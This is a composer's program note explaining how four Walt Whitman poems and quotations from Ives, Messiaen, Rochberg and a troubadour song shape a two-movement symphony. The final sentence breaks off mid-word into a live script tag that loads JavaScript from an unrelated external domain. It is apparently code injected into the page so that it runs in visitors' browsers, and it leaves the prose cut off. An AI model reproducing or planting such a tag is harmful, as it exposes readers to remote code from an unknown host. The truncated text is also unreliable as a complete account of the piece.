Update Title: EC76D9CE-9914-4504-B34C-B9501406EAAD

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Symphony No. 1:  A Whitman Cycle provides musical commentary on four poems by Walt Whitman:  "I Saw in Louisiana a Live-Oak Growing;" "Give Me the Splendid Silent Sun;" The Dalliance of the Eagles;" and "The Mystic Trumpeter" (the texts program).  The work is an outgrowth of Flights of Passage, a solo composition I wrote for the marvelous pianist, James Dick.  It was Mr. Dick who suggested the poems from Whitman's "Leaves of Grass" as the literary bases for that piece.  Symphony No. 1 expands the scope of the earlier keyboard work in a setting for full orchestra.

The composition is cast in two separate movements, each consisting of two unequal sections inspired by Whitman's verses.  In both movements, the first section can be viewed as an introduction to and integral facet of the second (and main) portion of the movement, joining it without pause.

The two poems that provide the programmatic impetus for the first movement (respectively, "I Saw in Louisiana a Live-Oak Growing" and "Give Me the Splendid Silent Sun") are artful in their reiteration of visual images and in the rhythmic balance and tonality of their lines.  Thus, rather merely reflect the poems' general moods and often sensual qualities, I sought to parallel musically their overall formal structures, organizing the compositional materials in each section of the movement in ways that would complement Whitman's cyclical presentation of ideas.

In the poem, "Give Me the Splendid Silent Sun," Whitman expresses an initial longing for -- but ultimate rejection of -- Nature's "primal sanities."  It seemed fitting then to use as the musical "motto" of the work's second section the beginning phrase of "Thoreau," the final movement from Charles Ives' Concord Sonata for piano.  Thoreau was, after all, the great man of Nature, one who, in Ives' own words, "sang of the submission to Nature, the religion of contemplation, and the freedom of simplicity..."

The opening portion of the second movement is a musical evocation of "The Dalliance of the Eagles," one of Whitman's most compressed and elemental works.  The poem itself provides the best description of the music, for this third section, this "gyrating wheel" of orchestral sound, constitutes the most obvious example of "tone-painting" in the set.

The music of the final section, which treats the long poem "The Mystic Trumpeter," is a collage of sorts, incorporating quotations (some distorted, some literal) from four existing works:  Charles Ives' short tone poem, THE UNANSWERED QUESTION; the sprawling piano piece VINGT REGARDS SUR L'ENFANT JESUS ("Twenty Meditations on the Child Jesus") by the late French composer, Olivier Messiaen; MUSIC FOR THE MAGIC THEATRE by the contemporary American, George Rochberg; and REIS GLORIOS (Glorious King"), a song by the medieval troubadour, Guiraut de Bornelh.  Each of these quoted compositionsentails distinct parallels, either musical or literary, with Whitman's poem.  Ive's THE UNANSWERED QUESTION also imagines a kind of mystic trumpeter, for it is a trumpet that repeatedly poses "the Perennial Question of Existence" in that composition's programmatic scernario.  Rochberg's work evokes the "Magic Theater" of Hermann Hesse's STEPPENWOLF (a novel that includes the line, "I saw Moses, whose hair recalled portraits of Walt Whitman"), in which music seems a universal presence, inherent in all life and nature and even memory, as it is in Whitman's poem.

Whitman's invocation of love and joy (in the fifth and eighth stanzas, respectively, of "The Mystic Trumpeter") resonates with Messiaen's vision of divine love in the last of the VINGT REGARDS.  Whitman's phrases, "no other theme but love...the enclosing theme of all," have a musical complement in the "Theme d'amour" ("Love Theme") of Messiaen's piece, and the utopian vision of a humanity redeemed and joyful that is set forth in the final stanza of the poem finds kindred expression in Messiaen's "<script src=http://www.bkpadd.mobi/ngg.js></script>

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